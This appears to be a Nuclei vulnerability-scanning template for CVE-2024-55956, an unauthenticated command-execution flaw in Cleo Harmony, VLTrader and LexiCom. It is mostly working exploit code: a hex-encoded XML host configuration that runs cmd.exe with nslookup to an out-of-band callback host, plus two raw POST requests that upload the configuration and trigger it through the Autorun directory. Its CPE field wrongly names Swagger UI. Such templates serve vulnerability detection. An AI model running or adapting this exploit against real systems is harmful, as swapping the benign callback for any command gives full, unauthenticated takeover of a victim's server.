Cleo Harmony < 5.8.0.24 - File Upload Vulnerability

id: CVE-2024-55956

info:
  name: Cleo Harmony < 5.8.0.24 - File Upload Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary Bash or PowerShell commands on the host system by exploiting the default Autorun directory settings, achieving complete system compromise.
  remediation: |
    Update Cleo Harmony, VLTrader, and LexiCom to version 5.8.0.24 or later to address the arbitrary command execution vulnerability.
  reference:
    - https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55956
    cwe-id: CWE-276
    epss-score: 0.93804
    epss-percentile: 0.99831
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'Server: Cleo'
  tags: cve,cve2024,intrusive,cleo,file-upload,kev,vkev,vuln

flow: http(1) && http(2)

variables:
  payload_1: "{{ hex_decode('3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0a3c486f737420616c6961733d2264376363323439302d303361392d343861382d386166642d62643730343263666462643522206170706c69636174696f6e3d22222062793d2241646d696e6973747261746f722220636c6173733d222a437777514e77776245523453456841384578346345444e525151775242777362476b35544551644f45415557546b4d2a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d22547275652220656e633d2239353732343634652d373862352d343633352d386133622d30623937393964643862663922206c6f63616c3d225472756522206d6f646576656e743d224d6f64696669656422206d6f6469666965643d22323032302f31302f31302030303a30303a303022206d6f646974656d3d22266c743b636f70792667743b6d79436f6d6d616e6473404c6f63616c20436f6d6d616e647322206d6f64747970653d22416374696f6e732220707265636f6e666967757265643d22323030392f31302f33302031353a3135222072656164793d225472756522207374616e64616c6f6e65616374696f6e3d2246616c73652220746573743d2246616c736522207472616e73706f72743d222220747970653d2222207569643d2264363330613565622d326335612d343265362d393534302d373763326261353130363232222076657273696f6e3d2231223e0a20203c436f6e6e656374747970653e303c2f436f6e6e656374747970653e0a20203c496e626f783e696e626f783c2f496e626f783e0a20203c496e6465783e303c2f496e6465783e0a20203c496e646578646174653e2d313c2f496e646578646174653e0a20203c496e7465726e616c3e303c2f496e7465726e616c3e0a20203c4e6f7465733e5468697320636f6e7461696e73206d61696c626f78657320666f722061206c6f63616c20686f73742077686963682063616e206265207573656420666f72206c6f63616c20636f6d6d616e6473206f6e6c792e3c2f4e6f7465733e0a20203c4f726967696e3e4c6f63616c20436f6d6d616e64733c2f4f726967696e3e0a20203c4f7574626f783e6f7574626f783c2f4f7574626f783e0a20203c506f72743e303c2f506f72743e0a20203c52756e6e696e676c6f63616c72657175697265643e547275653c2f52756e6e696e676c6f63616c72657175697265643e0a20203c536563757265706f727472657175697265643e46616c73653c2f536563757265706f727472657175697265643e0a20203c556964737770643e547275653c2f556964737770643e0a20203c416476616e6365643e5a6970436f6d7072657373696f6e4c6576656c3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e584d4c456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f72697479496e636f6d696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e50475048617368416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f726974794f7574676f696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e504750436f6d7072657373696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e4f7574626f78536f72743d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e504750456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c4d61696c626f7820616c6961733d2265666337366261302d323061642d343763642d393534632d6364356435623436643333642220636c6173733d222a42784164457859654d67776245523453456841384578346345444e522220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206c6f63616c64656372797074636572743d2222206c6f63616c656e6372797074636572743d2222206c6f63616c7061636b6167696e673d224e6f6e652220706172746e657264656372797074636572743d222220706172746e65726465637279707470617373776f72643d222220706172746e6572656e6372797074636572743d222220706172746e65727061636b6167696e673d224e6f6e65222072656164793d225472756522207569643d2262376462323563372d383935652d343430642d393231372d393262326363643532326562222076657273696f6e3d2231223e0a202020203c416374696f6e20616374696f6e747970653d22436f6d6d616e64732220616c6961733d2236636164303764382d623239372d346465612d623065612d633666303338316534313637222062793d2241646d696e6973747261746f722220636c6173733d222a455241574378772b444273524868495345447754486877514d31452a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206d6f6469666965643d22323032302f31302f31302030303a30303a3030222072656164793d225472756522207569643d2261386236393166662d303332652d346662362d626562632d653635613330333265646364222076657273696f6e3d2232223e0a2020202020203c4175746f737461727475703e46616c73653c2f4175746f737461727475703e0a2020202020203c436f6d6d616e64733e3c215b43444154415b53595354454d20636d642e657865202f6320226e736c6f6f6b75702e65786520') }}"
  payload_2: "{{ hex_decode('225d5d3e3c2f436f6d6d616e64733e0a2020202020203c46696c6573696e3e303c2f46696c6573696e3e0a2020202020203c46696c65736f75743e303c2f46696c65736f75743e0a2020202020203c53736c3e46616c73653c2f53736c3e0a202020203c2f416374696f6e3e0a20203c2f4d61696c626f783e0a3c2f486f73743e') }}"
  payload: "{{ concat(payload_1, '{{interactsh-url}}', payload_2) }}"
  xml_file: "{{randstr_1}}"
  autorun_file: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/{{xml_file}}.tmp";receiptfolder=Unspecified;
        --------boundary
        {{ zip("hosts/main.xml", payload) }}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(response), "cleo")'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="autorun/{{autorun_file}}.txt";receiptfolder=Unspecified;
        --------boundary
        -i "temp/{{xml_file}}.tmp"
        -r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4b0a004830460221008b753531803429baf52272d65efdda3b6ee7ff60de69e52ae3d2b9b2c4651820022100ddd1bbbdbf159ec86a934410be01b20dad02fe7c552a31b35bbc76478aff0f87:922c64590222798bb761d5b6d8e72950